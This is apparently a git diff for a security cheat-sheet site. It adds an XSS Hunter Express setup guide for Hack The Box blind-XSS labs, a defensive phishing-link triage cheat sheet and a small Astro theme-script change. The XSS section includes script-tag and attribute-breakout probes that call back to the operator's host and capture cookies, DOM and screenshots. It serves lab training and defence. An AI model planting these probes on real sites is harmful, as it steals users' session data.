:80 or sport = :443 )' +``` + +> [!info]+ Preflight Breakdown +> `ris:Radar` +> 1. **`dig`**: The hostname should resolve to the VPS public address. +> 2. **Public IP check**: Confirms the address expected in DNS. +> 3. **`ss`**: Output should be empty before XSS Hunter starts unless a planned reverse proxy owns the ports. + +### 2. Clone and Inspect the Production Compose Repository + +```bash +git clone https://github.com/mandatoryprogrammer/xsshunter-express.git +cd xsshunter-express +git status --short +docker compose config --services +``` + +> [!info]+ Command Breakdown +> `ris:Command` +> 1. **Repository**: Uses the original XSS Hunter Express repository because its current Compose file contains the documented production hostname, TLS, SMTP, storage, and database settings. +> 2. **`git status --short`**: Establishes a clean baseline before configuration edits. +> 3. **`docker compose config --services`**: Validates the Compose file and prints the actual service names before startup. + +> [!warning]+ Truffle Security Fork Status +> `fas:TriangleExclamation` +> 1. The [Truffle Security fork](https://github.com/trufflesecurity/xsshunter) contains newer application changes. +> 2. As verified on **2026-08-08**, its README still describes the legacy automatic-TLS Compose workflow, while its actual Compose file expects an untracked `dev.env`, binds to `127.0.0.1:8080`, and references a Google Cloud credential mount. +> 3. Do not follow that README as a turnkey production deployment without supplying and auditing the missing environment, reverse-proxy, TLS, database, and storage configuration. + +### 3. Configure the Compose File + +Edit the repository's `docker-compose.yml` and replace the sample values. + +| Setting | Required value | Security note | +|---|---|---| +| `HOSTNAME` | `x.YOUR_DOMAIN` | Use a dedicated, short hostname that already resolves | +| `SSL_CONTACT_EMAIL` | Your certificate contact address | Used for automated Let's Encrypt issuance and renewal | +| `MAX_PAYLOAD_UPLOAD_SIZE_MB` | A bounded lab-appropriate limit | Large DOM and screenshot reports consume disk and memory | +| `CONTROL_PANEL_ENABLED` | `true` for dashboard use | Restrict panel access; disable only after confirming an alternate report path | +| `SMTP_EMAIL_NOTIFICATIONS_ENABLED` | `false` unless configured | Avoid broken or unintended outbound mail | +| `SMTP_HOST`, `SMTP_PORT`, `SMTP_USE_TLS` | Matching provider settings | Prefer a lab-only notification account | +| `SMTP_USERNAME`, `SMTP_PASSWORD` | Lab-only provider credentials | Store as secrets and rotate after exposure | +| `SMTP_FROM_EMAIL`, `SMTP_RECEIVER_EMAIL` | Deliberate sender and receiver | Avoid forwarding full reports to broad mailboxes | +| `DATABASE_USER`, `DATABASE_PASSWORD` | Random unique values | Change both application and PostgreSQL values consistently | + +```bash +cp docker-compose.yml docker-compose.yml.pre-htb +${EDITOR:-vi} docker-compose.yml +docker compose config >/dev/null +``` + +> [!info]+ Configuration Breakdown +> `ris:FileList` +> 1. The copy provides a local rollback reference without exposing secrets elsewhere. +> 2. **`docker compose config`** resolves the configuration and fails on malformed YAML or missing values. +> 3. Do not commit the configured Compose file if it contains credentials. + +### 4. Start PostgreSQL, Then XSS Hunter + +The upstream instructions start the database first and run the application in the foreground for the initial setup. + +```bash +docker compose up -d postgresdb +docker compose up xsshunterexpress +``` + +> [!info]+ Startup Breakdown +> `fas:Terminal` +> 1. **`postgresdb`**: Starts the evidence database in the background. +> 2. **`xsshunterexpress`**: Runs the application in the foreground so the initial administrator password and TLS messages are visible. +> 3. The first HTTPS request can be slower while the service obtains a certificate. +> 4. Legacy environments may require `docker-compose` in place of `docker compose`. + +After recording the generated admin password, start the full stack in the background: + +```bash +docker compose up -d +docker compose ps +docker compose logs --tail=100 xsshunterexpress +``` + +> [!success]+ Expected Result +> `ris:Key` +> 1. The services show a running state. +> 2. `https://x.YOUR_DOMAIN/admin/` presents the control-panel login. +> 3. TLS is valid for the configured hostname. + +### 5. First Login and Hardening + +1. Browse to `https://x.YOUR_DOMAIN/admin/`. +2. Sign in using the generated password shown during first startup. +3. Store the credential in a password manager. +4. Restrict the admin path to your VPN or trusted source IP at the cloud firewall or reverse proxy. +5. Verify email notifications only if they are deliberately configured. +6. Review the configured secondary payload and leave it empty for the initial HTB test. +7. Submit the project's test probe in your own isolated browser and confirm that a report appears. + +### 6. Generate an HTB Blind-XSS Probe + +Copy the probe exactly as generated by your instance. A typical shape is: + +```html +<script src="https://x.YOUR_DOMAIN/GENERATED_PROBE_PATH"></script> +``` + +For a quoted attribute context, break out only after confirming the quote type: + +```html +"><script src="https://x.YOUR_DOMAIN/GENERATED_PROBE_PATH"></script> +``` + +> [!warning]+ Probe Placement +> `fas:TriangleExclamation` +> 1. Use a distinct probe or path label for every HTB field. +> 2. Record the request, field name, account, and timestamp before submission. +> 3. Begin with one field to avoid ambiguous callbacks. +> 4. Do not guess the generated endpoint; copy it from your own dashboard. + +### 7. Interpret a Callback + +| Field | What it establishes | Limitation | +|---|---|---| +| Vulnerable URI | Page that rendered the probe | Redirects or SPA routes may alter it | +| Origin | Browser security origin | Does not by itself identify the user | +| Referrer | Navigation or embedding context | May be reduced by referrer policy | +| User agent | Browser/automation fingerprint | Can be generic or spoofed | +| Cookies | JavaScript-readable cookies | `HttpOnly` cookies are absent | +| DOM | Rendered page structure | May contain sensitive lab content | +| Screenshot | Visual evidence of affected view | Treat as sensitive and minimise retention | +| Responsible request | Injection request when supported | Requires compatible tooling or metadata | + +> [!success]+ Evidence Standard +> `ris:Key` +> 1. Correlate the callback to the unique field and timestamp. +> 2. Save only the evidence needed to prove the lab objective. +> 3. Report the affected role and page separately from the injecting account. +> 4. Delete reports, screenshots, and stored probes after completing the lab. + +--- + +## Operations and Lifecycle `ris:FileList` + +### Logs and Health + +```bash +docker compose ps +docker compose logs --tail=200 xsshunterexpress +docker compose logs --tail=100 postgresdb +docker stats --no-stream +``` + +> [!info]+ Operational Checks +> `ris:FileList` +> 1. Application logs expose TLS, configuration, callback, and startup errors. +> 2. Database logs expose storage and authentication failures. +> 3. Resource checks are important on the project's minimum-size VPS. + +### Backup + +Stop the stack briefly and archive the repository's persistent data paths and configured Compose file. + +```bash +docker compose stop +cd .. +tar -czf "xsshunter-backup-$(date +%F).tar.gz" \ + xsshunter-express/docker-compose.yml \ + xsshunter-express/postgres-db-data \ + xsshunter-express/payload-fire-images \ + xsshunter-express/ssldata +cd xsshunter-express +docker compose start +``` + +> [!warning]+ Backup Handling +> `fas:TriangleExclamation` +> 1. Confirm the actual bind-mount paths with `docker compose config` before archiving. +> 2. The archive can contain credentials, cookies, DOM captures, and screenshots. +> 3. Encrypt the archive and keep it only as long as the HTB exercise requires. + +### Update + +```bash +git status --short +git pull --ff-only +docker compose pull +docker compose up -d --build +docker compose ps +``` + +> [!info]+ Update Breakdown +> `ris:Command` +> 1. Back up first and review upstream release notes or repository changes. +> 2. **`--ff-only`** refuses an unexpected merge. +> 3. **`--build`** rebuilds the application image from the updated source. +> 4. Re-run a self-test probe after the update. + +### Stop and Cleanup + +Preserve evidence volumes while stopping services: + +```bash +docker compose down +``` + +Remove Compose-managed volumes only after exporting required HTB evidence: + +```bash +docker compose down --volumes +``` + +> [!danger]+ Destructive Cleanup +> `fas:TriangleExclamation` +> 1. `--volumes` can permanently remove the Compose-managed database volume. +> 2. Bind-mounted directories may remain and must be reviewed separately. +> 3. Keep the encrypted backup until you verify that the lab report contains everything required, then dispose of it securely. + +--- + +## Troubleshooting `ris:FileList` + +> [!failure]+ Certificate Issuance Fails +> `fas:CircleXmark` +> 1. Confirm `HOSTNAME` resolves publicly to the VPS. +> 2. Confirm inbound TCP `80` and `443` are permitted and not occupied. +> 3. Verify the certificate contact address and inspect application logs. +> 4. Avoid placing a proxy or CDN in front until initial issuance succeeds unless the repository documents that topology. + +> [!failure]+ Admin Password Is Not Visible +> `fas:CircleXmark` +> 1. Run `docker compose up xsshunterexpress` in the foreground and inspect the initial logs. +> 2. Confirm whether an existing database caused initialisation to be skipped. +> 3. Preserve the data directory before any reset; deleting it destroys reports and credentials. + +> [!failure]+ Probe Loads but No Report Appears +> `fas:CircleXmark` +> 1. Check browser Console and Network for CSP, TLS, mixed-content, or blocked-request errors. +> 2. Confirm the callback endpoint is reachable from the HTB browser. +> 3. Inspect both application and database logs. +> 4. Test the generated probe on an isolated page you control before changing the HTB payload. + +> [!failure]+ Dashboard Is Reachable Publicly +> `fas:CircleXmark` +> 1. Restrict the admin path by source IP or VPN at the firewall/reverse proxy. +> 2. Rotate the administrator password if exposure was unintended. +> 3. Review logs for unknown access and rotate any notification secrets stored in configuration. + +--- + +## Lessons Learned `fas:Lightbulb` + +1. XSS Hunter is most valuable when the lab requires context beyond a single callback. +2. Unique probes make stored-field attribution reliable and prevent duplicate callback confusion. +3. The evidence store is sensitive infrastructure and needs the same lifecycle discipline as any other assessment database. +4. A successful probe proves browser-side execution; every additional impact claim requires separate evidence. + +--- + +## References `fas:BookOpen` + +1. [XSS Hunter Express Repository](https://github.com/mandatoryprogrammer/xsshunter-express) +2. [Truffle Security XSS Hunter Fork](https://github.com/trufflesecurity/xsshunter) +3. [Docker Engine Installation](https://docs.docker.com/engine/install/) +4. [Docker Compose Documentation](https://docs.docker.com/compose/) +5. [Let's Encrypt Documentation](https://letsencrypt.org/docs/) +6. Cross-Site Scripting (XSS) - HTB Cheat Sheet +7. Blind XSS Tool - ezXSS +8. Blind XSS Tool - Interactsh + +#HTB #WebSecurity #XSS #BlindXSS #XSSHunter diff --git a/src/content/sheets/web/phishing-site-link-identification.md b/src/content/sheets/web/phishing-site-link-identification.md @@ -0,0 +1,496 @@ +--- +title: "Phishing Site & Link Identification" +description: "1. Golden Rules 2. URL Anatomy — Where to Actually Look 3. Domain Red Flags 4. Homoglyph & Punycode Detection 5. Unwrapping Redirects & Shorteners 6…" +category: web +tags: ["web", "adcs"] +tools: ["OpenSSL"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Web/Phishing Site & Link Identification - Cheat Sheet.md" +--- +# Phishing Site & Link Identification — Cheat Sheet + +### Defensive triage for suspicious URLs, domains and landing pages + +> Covers: URL anatomy · lookalike domains · punycode/IDN · redirect chains · header and SPF/DKIM/DMARC checks · WHOIS and DNS · certificate transparency · safe fetching and detonation + +--- + +## Table of Contents + +1. [Golden Rules](#golden-rules) +2. [URL Anatomy — Where to Actually Look](#1-url-anatomy--where-to-actually-look) +3. [Domain Red Flags](#2-domain-red-flags) +4. [Homoglyph & Punycode Detection](#3-homoglyph--punycode-detection) +5. [Unwrapping Redirects & Shorteners](#4-unwrapping-redirects--shorteners) +6. [Email Header & Auth Triage](#5-email-header--auth-triage) +7. [WHOIS & DNS Checks](#6-whois--dns-checks) +8. [TLS Certificate & CT Logs](#7-tls-certificate--ct-logs) +9. [Safe Fetching of Page Content](#8-safe-fetching-of-page-content) +10. [Landing Page Tells](#9-landing-page-tells) +11. [Attachment Triage](#10-attachment-triage) +12. [Reputation & Sandbox Services](#11-reputation--sandbox-services) +13. [Triage Workflow](#12-triage-workflow) +14. [Quick Reference Table](#13-quick-reference-table) +15. [Reporting & Takedown](#14-reporting--takedown) + +--- + +## Golden Rules + +> [!warning] Handle every unverified URL as live malware. +> - Never open a suspicious link in your daily-driver browser or on a host with credentials on it. Use a disposable VM, and route through a network you do not mind burning. +> - Fetching a URL leaks your IP and often a unique token embedded in the link, which confirms to the operator that the target is live. Prefer passive lookups first. +> - Judge the **registrable domain**, never the display text, the path, the favicon or the branding. +> - HTTPS and a padlock prove nothing. Free DV certificates mean the overwhelming majority of phishing sites are served over TLS. +> - If a page asks for credentials, MFA codes or a card number, navigate to the service yourself from a known-good bookmark instead. + +--- + +## 1. URL Anatomy — Where to Actually Look + +``` +https://accounts.google.com.verify-login.ru:8443/signin?token=abc#/ +└─┬─┘ └──────────────┬──────────────────────┘└─┬┘└──┬─┘└───┬───┘ +scheme host (read RIGHT to LEFT) port path query +``` + +The only part that matters for identity is the **registrable domain**, the last two labels before the public suffix. Read the host from right to left, stopping at the first `/`. + +| URL | Registrable domain | Verdict | +|---|---|---| +| `https://accounts.google.com/signin` | `google.com` | Legitimate | +| `https://accounts.google.com.verify-login.ru/` | `verify-login.ru` | Phish — brand is a subdomain | +| `https://google.com.evil.co/` | `evil.co` | Phish | +| `https://secure-google.com/` | `secure-google.com` | Phish — hyphenated lookalike | +| `https://google.com@evil.co/` | `evil.co` | Phish — everything before `@` is userinfo | +| `https://sites.google.com/view/login-x` | `google.com` | Legitimate host, abused hosting | + +Extract the host programmatically rather than trusting your eyes: + +```bash +# Pull scheme, host, path out of a URL without fetching it +print -r 'https://accounts.google.com.verify-login.ru/signin' | \ + python3 -c 'import sys,urllib.parse as u; p=u.urlparse(sys.stdin.read().strip()); print("host:",p.hostname,"\nport:",p.port,"\npath:",p.path,"\nuser:",p.username)' +``` + +```bash +# Registrable domain (eTLD+1) using the public suffix list +uv venv .venv && source .venv/bin/activate +uv pip install tldextract +python3 -c 'import tldextract,sys; e=tldextract.extract(sys.argv[1]); print(e.registered_domain)' \ + 'https://accounts.google.com.verify-login.ru/signin' +``` + +> [!tip] Common obfuscations +> - `@` userinfo trick: browser goes to whatever follows the `@`. +> - Decimal, octal or hex IPs: `http://2130706433/` is `127.0.0.1`. +> - Percent-encoding of the host or path to hide keywords. +> - Very long paths padding the real domain off the end of a mobile URL bar. +> - Data URIs and `blob:` URLs rendering a login form with no remote host at all. + +--- + +## 2. Domain Red Flags + +| Signal | Why it matters | How to check | +|---|---|---| +| Registered in the last 30 days | Phishing infra is disposable and short-lived | `whois` creation date | +| Brand name as a subdomain or in the path | Legitimate brands own their apex | Read host right to left | +| Hyphenated brand combos (`paypal-secure-login`) | Cheap way to look plausible | Visual | +| Unusual TLD for the brand (`.zip`, `.mov`, `.top`, `.cf`, `.xyz`) | Cheap or free registration | Visual | +| Free hosting or dev platform subdomains | Abused for zero-cost hosting with valid TLS | Check apex against known SaaS | +| Privacy-shielded WHOIS on a "corporate" login page | Real brands do not hide registrant data | `whois` | +| Wildcard DNS answering every subdomain | Per-victim subdomains | `dig random.$domain` | +| Hosting ASN mismatched with the brand | Bulletproof or cheap VPS ranges | `whois <ip>` | +| Open directory listing or `/.git` exposed | Sloppy kit deployment | Manual, in a VM | + +Legitimate-but-abused hosting worth recognising: `*.web.app`, `*.firebaseapp.com`, `*.pages.dev`, `*.workers.dev`, `*.r2.dev`, `*.blob.core.windows.net`, `*.s3.amazonaws.com`, `*.weeblysite.com`, `*.glitch.me`, `sites.google.com/view/...`, `*.notion.site`, IPFS gateways. The apex is genuine, so reputation feeds often miss them. + +--- + +## 3. Homoglyph & Punycode Detection + +Internationalised domains let attackers register visually identical names. Browsers show punycode as `xn--` only in some cases, so decode explicitly. + +```bash +# Decode punycode to the real Unicode label +python3 -c 'print("xn--80ak6aa92e".encode().decode("idna"))' # -> аррӏе (Cyrillic) + +# Encode a suspect Unicode host to see its punycode form +python3 -c 'print("аррӏе.com".encode("idna").decode())' +``` + +```bash +# Flag any non-ASCII characters in a host, and name the script of each +python3 - <<'PY' +import unicodedata +host = "аррӏе.com" +for ch in host: + if ord(ch) > 127: + print(f"{ch!r} U+{ord(ch):04X} {unicodedata.name(ch)}") +PY +``` + +Mixed-script hosts (Latin plus Cyrillic or Greek in one label) are almost always hostile. Classic swaps to watch for: + +| Looks like | Actually | Codepoint | +|---|---|---| +| `a` | Cyrillic а | U+0430 | +| `e` | Cyrillic е | U+0435 | +| `o` | Cyrillic о | U+043E | +| `p` | Cyrillic р | U+0440 | +| `i` / `l` | Cyrillic ӏ, Turkish ı | U+04CF, U+0131 | +| `rn` | reads as `m` at small sizes | ASCII only | +| `vv` | reads as `w` | ASCII only | +| `1` / `l` / `I` | font-dependent confusion | ASCII only | + +Generate and check typosquats around a brand you protect: + +```bash +# dnstwist enumerates permutations and resolves the live ones +uv pip install dnstwist +dnstwist --registered --mx --format cli example.com +``` + +--- + +## 4. Unwrapping Redirects & Shorteners + +Resolve the chain without executing anything. Prefer `HEAD` and never follow blindly into a download. + +```bash +# Show every hop, headers only, no body, no auto-follow of unsafe schemes +curl -sIL --max-redirs 10 --max-time 15 -A 'Mozilla/5.0' 'https://short.link/abc' \ + | grep -Ei '^(HTTP/|location:)' +``` + +```bash +# One hop at a time, so you can bail out +curl -sI 'https://short.link/abc' | grep -i '^location:' +``` + +Many shorteners expose a preview or API that avoids touching attacker infra at all: + +| Service | Preview method | +|---|---| +| bit.ly | append `+` to the URL | +| tinyurl.com | `https://preview.tinyurl.com/<code>` | +| ow.ly, buff.ly | Bitly-family, `+` often works | +| t.co | `curl -sI` returns `location` without rendering | + +Unwrap corporate link-rewriting so you see the real destination: + +```bash +# Proofpoint URLDefense v3, Microsoft Safe Links, Barracuda etc. all URL-encode the original +python3 -c 'import sys,urllib.parse as u; q=u.parse_qs(u.urlparse(sys.argv[1]).query); print(q.get("url",[""])[0])' \ + 'https://eur01.safelinks.protection.outlook.com/?url=https%3A%2F%2Fevil.co%2Flogin&data=...' +``` + +> [!warning] Every link in a phish is usually unique per recipient. Fetching it tells the operator your address is live and may burn the sample before analysis. + +--- + +## 5. Email Header & Auth Triage + +Get the **original** headers, not a forward. In Gmail use "Show original", in Outlook "View source", and save the `.eml` intact. + +What to read, in order: + +1. `From:` display name versus the actual address in angle brackets. +2. `Return-Path:` / envelope sender. A mismatch with `From:` is normal for mailing lists but suspicious for a bank. +3. `Reply-To:` pointing somewhere unrelated is a strong lure signal. +4. `Authentication-Results:` for SPF, DKIM and DMARC verdicts. +5. Earliest `Received:` hop, which shows the true origin before the receiving infra. +6. `Message-ID` domain matching the sending domain. + +```bash +# Pull the auth verdicts and the sender fields out of a saved .eml +grep -Ei '^(authentication-results|received-spf|dkim-signature|from|reply-to|return-path|message-id):' sample.eml +``` + +```bash +# Parse an .eml properly, including nested parts and URLs in the body +python3 - <<'PY' +import email, re +from email import policy +m = email.message_from_file(open("sample.eml"), policy=policy.default) +for h in ("From","Reply-To","Return-Path","Subject","Date","Authentication-Results","Message-ID"): + print(f"{h}: {m.get(h)}") +body = "".join(p.get_content() for p in m.walk() if p.get_content_type() in ("text/plain","text/html")) +for url in sorted(set(re.findall(r'https?://[^\s"\'<>)]+', body))): + print("URL:", url) +PY +``` + +Interpreting the verdicts: + +| Result | Meaning | Weight | +|---|---|---| +| `spf=fail` + `dkim=fail` + `dmarc=fail` | Spoofed sending domain | Strong | +| `spf=pass` on an attacker-owned lookalike domain | Auth passes for *their* domain, proves nothing about the brand | Neutral, common | +| `dkim=pass` with `d=` not matching the `From:` domain | Unaligned DKIM, DMARC will not pass on it | Suspicious | +| `dmarc=pass` | Aligned and authenticated for the `From:` domain | Reassuring, not conclusive if the account is compromised | + +```bash +# Check what the claimed domain publishes +dig +short TXT example.com | grep -i spf +dig +short TXT _dmarc.example.com +dig +short TXT selector1._domainkey.example.com +``` + +> [!note] Business email compromise sends from a genuinely owned, fully authenticated mailbox. Auth passing is not innocence. Weight the request itself: payment redirection, urgency, secrecy, out-of-band contact. + +--- + +## 6. WHOIS & DNS Checks + +```bash +# Registration age is the single highest-signal indicator +whois evil-login.co | grep -Ei 'creation|created|registered|registrar|registrant|name server' +``` + +```bash +# Resolution and infrastructure +dig +short A evil-login.co +dig +short NS evil-login.co +dig +short MX evil-login.co # MX present = capable of receiving replies +dig +short TXT evil-login.co + +# Wildcard test: does a random subdomain resolve? Per-victim subdomains are a kit tell +dig +short "$(openssl rand -hex 6).evil-login.co" + +# Who owns the hosting +whois "$(dig +short A evil-login.co | head -1)" | grep -Ei 'orgname|netname|country|origin' +``` + +```bash +# Passive DNS style pivot: what else is on that IP (use a service, do not scan) +# See section 11 for tooling. Shared cheap hosting will show hundreds of unrelated domains. +``` + +Age heuristic worth internalising: a "Microsoft account security" page on a domain created 4 days ago with a privacy-shielded registrant and a Let's Encrypt certificate issued the same day is phishing until proven otherwise. + +--- + +## 7. TLS Certificate & CT Logs + +```bash +# Inspect the presented certificate without loading the page +echo | openssl s_client -connect evil-login.co:443 -servername evil-login.co 2>/dev/null \ + | openssl x509 -noout -subject -issuer -dates -ext subjectAltName +``` + +What to read: + +| Field | Phishing tell | +|---|---| +| `notBefore` | Issued hours or days ago | +| Issuer | Free DV CA on a page impersonating a bank | +| Subject | `CN` is the lookalike domain, no organisation details | +| SAN list | Dozens of unrelated brand-ish hostnames on one cert | + +Certificate Transparency is a free, passive early-warning source for lookalikes of a domain you own: + +```bash +# All certs ever issued for a domain and its subdomains, from CT logs +curl -s 'https://crt.sh/?q=%25.example.com&output=json' \ + | python3 -c 'import sys,json; [print(r["name_value"].replace("\n",","), r["not_before"]) for r in json.load(sys.stdin)]' \ + | sort -u | head -50 +``` + +Search CT for brand permutations (`example-secure`, `examp1e`, `example-login`) to catch infrastructure before the campaign launches. + +--- + +## 8. Safe Fetching of Page Content + +Passive first. If you must fetch, do it from an isolated VM or a cloud sandbox, never your host. + +```bash +# Headers only, no body executed, short timeout, no cookies stored +curl -sI --max-time 10 -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' 'https://evil-login.co/' +``` + +```bash +# Fetch the raw HTML to a file for offline inspection, do not open it in a browser +curl -s --max-time 15 -A 'Mozilla/5.0' 'https://evil-login.co/' -o page.html +file page.html && wc -c page.html +``` + +```bash +# Extract form targets, external scripts and iframes from the saved HTML +python3 - <<'PY' +import re +h = open("page.html", encoding="utf-8", errors="replace").read() +for label, pat in [("FORM ACTION", r'<form[^>]*action=["\']([^"\']+)'), + ("SCRIPT SRC", r'<script[^>]*src=["\']([^"\']+)'), + ("IFRAME SRC", r'<iframe[^>]*src=["\']([^"\']+)'), + ("INPUT NAME", r'<input[^>]*name=["\']([^"\']+)')]: + for m in sorted(set(re.findall(pat, h, re.I))): + print(f"{label}: {m}") +PY +``` + +> [!tip] The form `action` is the payoff. A login page whose form posts to an unrelated domain, a raw IP, a `.php` on cheap hosting, or a Telegram bot API endpoint is conclusive. + +Server-side cloaking is standard, so a plain `curl` often returns a benign decoy. Attacker kits filter on User-Agent, `Referer`, geolocation, ASN (blocking known security vendors) and sometimes require the unique token from the original link. Getting a harmless page back does not clear the URL. + +--- + +## 9. Landing Page Tells + +Observed in an isolated VM, or from saved HTML. + +- Form posts to a different domain than the one in the address bar. +- Credentials submitted, then a redirect to the real site's genuine login page, so the victim assumes a mistyped password. +- Password field with autocomplete disabled and no "forgot password" or account-creation flow that actually works. +- Requests for data the real service would never ask for together: password plus MFA code plus card number plus mother's maiden name. +- MFA relay kits (Evilginx, EvilProxy, Tycoon) proxy the real site live, so the page is pixel-perfect and the TLS is valid. The **domain** is your only reliable tell. +- Right-click, view-source or devtools disabled via JavaScript. +- Blocked or broken links for everything except the login form. +- Base64 or heavily obfuscated inline JavaScript that assembles the form at runtime. +- The brand logo hotlinked from the genuine CDN while everything else is local. +- Fake browser chrome drawn in HTML, a "browser in the browser" popup simulating an OAuth window. Try to drag it outside the page, a real window can leave, a fake one cannot. +- QR codes in the email body ("quishing") to move the click onto an unmanaged mobile device. Decode offline before scanning: + +```bash +uv pip install "qreader" opencv-python-headless +python3 -c 'import cv2; d=cv2.QRCodeDetector(); print(d.detectAndDecode(cv2.imread("qr.png"))[0])' +# or +zbarimg --quiet --raw qr.png +``` + +--- + +## 10. Attachment Triage + +Static inspection only, in a VM, never double-click. + +```bash +file suspicious.* +sha256sum suspicious.* # hash first, then look it up rather than uploading +``` + +```bash +# Office documents: check for macros and embedded objects +uv pip install oletools +olevba -a suspicious.docm +oleid suspicious.doc +``` + +```bash +# PDFs: look for JavaScript, auto-actions and embedded launches +uv pip install pdfid pdf-parser +pdfid.py suspicious.pdf # /JS /JavaScript /OpenAction /Launch /EmbeddedFile counts +``` + +```bash +# Archives: list contents without extracting, watch for double extensions and LNK/ISO/IMG +unzip -l suspicious.zip +7z l suspicious.iso +``` + +High-risk containers used to defeat mark-of-the-web: `.iso`, `.img`, `.vhd`, `.7z`, password-protected `.zip` with the password in the email body, `.lnk`, `.chm`, `.one`, `.svg` with embedded script, `.html` smuggling attachments that rebuild a payload client-side. + +> [!warning] Hash first and search the hash. Uploading a targeted sample to a public multi-scanner makes it public and tips off the operator. + +--- + +## 11. Reputation & Sandbox Services + +| Service | Use | Notes | +|---|---|---| +| urlscan.io | Renders a URL, screenshots, DOM, request chain | **Set scan to private** for targeted phish. Public scans are searchable by anyone, including the attacker | +| VirusTotal | URL, domain, IP and file reputation | Search by hash before uploading. Uploads are shared with vendors | +| Hybrid Analysis / Joe Sandbox / ANY.RUN | Full detonation | Free tiers make results public | +| crt.sh | Certificate transparency search | Passive, free, no attacker contact | +| Shodan / Censys | Host and cert fingerprinting, pivot on kit artefacts | Passive | +| PhishTank / OpenPhish | Community phish feeds | Good for known campaigns, weak on fresh ones | +| Google Safe Browsing / Microsoft Defender SmartScreen | Browser-level blocklists | Lag of hours to days on new infra | +| Have I Been Pwned | Assess exposure after a credential submission | Post-incident | + +Absence of detections means nothing on a domain registered this morning. Reputation feeds are lagging indicators. Registration age plus form target plus domain reading beat any single verdict. + +--- + +## 12. Triage Workflow + +``` +1. PRESERVE Save the original .eml and the raw URL. Do not click anything. +2. PARSE Extract host, registrable domain, and every URL in the body. +3. READ DOMAIN Right to left. Decode punycode. Check for mixed scripts. +4. AGE IT whois creation date. Under ~30 days is a strong signal on its own. +5. AUTH SPF / DKIM / DMARC alignment against the claimed From: domain. +6. INFRA dig A/NS/MX, ASN owner, wildcard test, cert notBefore and issuer. +7. REPUTATION Hash and domain lookups. Passive sources first. +8. UNWRAP Resolve redirect chain with curl -sIL from an isolated host. +9. DETONATE Only if needed, in a VM or private urlscan. Note cloaking. +10. VERDICT Weight registration age + form target + domain reading above all else. +11. RESPOND Report, block, hunt for other recipients, rotate any exposed credentials. +``` + +If a credential was submitted, treat it as compromised immediately: change the password from a different device, revoke active sessions and refresh tokens (MFA relay kits steal the session cookie, so a password change alone is insufficient), re-enrol MFA, and check mailbox rules and OAuth app grants for attacker persistence. + +--- + +## 13. Quick Reference Table + +| Check | Command | +|---|---| +| Extract host from URL | `python3 -c 'import sys,urllib.parse as u;print(u.urlparse(sys.argv).hostname)' "$URL"` | +| Registrable domain | `python3 -c 'import tldextract,sys;print(tldextract.extract(sys.argv).registered_domain)' "$URL"` | +| Decode punycode | `python3 -c 'print("xn--...".encode().decode("idna"))'` | +| Redirect chain | `curl -sIL --max-redirs 10 "$URL" \| grep -Ei '^(HTTP/\|location:)'` | +| Domain age | `whois "$DOM" \| grep -Ei 'creation\|created'` | +| DNS records | `dig +short A "$DOM"; dig +short NS "$DOM"; dig +short MX "$DOM"` | +| Wildcard DNS test | `dig +short "$(openssl rand -hex 6).$DOM"` | +| Hosting owner | `whois "$(dig +short A "$DOM" \| head -1)" \| grep -Ei 'orgname\|netname'` | +| Cert details | `echo \| openssl s_client -connect "$DOM":443 -servername "$DOM" 2>/dev/null \| openssl x509 -noout -subject -issuer -dates` | +| CT log history | `curl -s "https://crt.sh/?q=%25.$DOM&output=json" \| jq -r '.[].name_value' \| sort -u` | +| SPF / DMARC published | `dig +short TXT "$DOM" \| grep -i spf; dig +short TXT "_dmarc.$DOM"` | +| Email auth verdicts | `grep -Ei '^(authentication-results\|received-spf\|from\|reply-to\|return-path):' sample.eml` | +| Save page HTML | `curl -s --max-time 15 -A 'Mozilla/5.0' "$URL" -o page.html` | +| Form targets | `grep -oEi '<form[^>]*action="[^"]+"' page.html` | +| Typosquat sweep | `dnstwist --registered --mx example.com` | +| File type + hash | `file f; sha256sum f` | +| Macro check | `olevba -a f.docm` | +| PDF actions | `pdfid.py f.pdf` | +| Decode QR | `zbarimg --quiet --raw qr.png` | + +--- + +## 14. Reporting & Takedown + +| Where | How | +|---|---| +| UK, general public | Forward the email to `report@phishing.gov.uk` (NCSC SERS). Suspicious texts to `7726` | +| UK, financial loss | Action Fraud, `actionfraud.police.uk` or 0300 123 2040. In Scotland, report to Police Scotland on 101 | +| Google Safe Browsing | `safebrowsing.google.com/safebrowsing/report_phish/` | +| Microsoft | `microsoft.com/wdsi/support/report-unsafe-site`, or the Report Phishing add-in | +| APWG | `reportphishing@apwg.org` | +| Hosting provider | `abuse@` for the ASN owner found via `whois <ip>` | +| Registrar | Abuse contact from `whois <domain>` | +| CDN in front of the site | Cloudflare and similar have their own abuse forms, they will pass to origin | +| Impersonated brand | Most banks and large SaaS publish a phishing reporting address | + +Include the full URL, the original headers, timestamps with timezone, and the file hashes. Do not include live credentials. + +--- + +## Related Notes + +- Hashing cheat sheet +- pcap-credential-extraction-cheatsheet +- Forensics Cheatsheet +- GitHubDeviceCodePhishing + +## External References + +- [NCSC — Phishing attacks: defending your organisation](https://www.ncsc.gov.uk/guidance/phishing) +- [RFC 7489 — DMARC](https://datatracker.ietf.org/doc/html/rfc7489) +- [Public Suffix List](https://publicsuffix.org/) +- [crt.sh — Certificate Transparency search](https://crt.sh/) +- [urlscan.io](https://urlscan.io/) +- [dnstwist](https://github.com/elceef/dnstwist) +- [oletools](https://github.com/decalage2/oletools) diff --git a/src/layouts/Base.astro b/src/layouts/Base.astro @@ -36,15 +36,37 @@ const canonical = new URL(Astro.url.pathname, Astro.site).href; <!-- Set theme before first paint to avoid FOUC --> <script is:inline> (function () { - try { - var t = localStorage.getItem('theme'); - // Dawn (cream) is the default, matching the main DÆMON site. - if (t !== 'light' && t !== 'dark') t = 'light'; - document.documentElement.setAttribute('data-theme', t); - document.documentElement.style.colorScheme = t; - } catch (e) { - document.documentElement.setAttribute('data-theme', 'light'); + function apply() { + try { + var t = localStorage.getItem('theme'); + // Dawn (cream) is the default, matching the main DÆMON site. + if (t !== 'light' && t !== 'dark') t = 'light'; + document.documentElement.setAttribute('data-theme', t); + document.documentElement.style.colorScheme = t; + } catch (e) { + document.documentElement.setAttribute('data-theme', 'light'); + } } + + apply(); + + /* Every page ships `<html data-theme="light">` in its static markup, + because that is the default and the build has no way to know what + any given reader chose. On a view-transition navigation Astro + swaps in the new document — attributes on <html> included — so + that baked-in "light" overwrites the live attribute and the page + reverts to dawn mid-session. + + This listener re-applies the stored choice on every swap. It runs + in `astro:after-swap`, which fires after the new 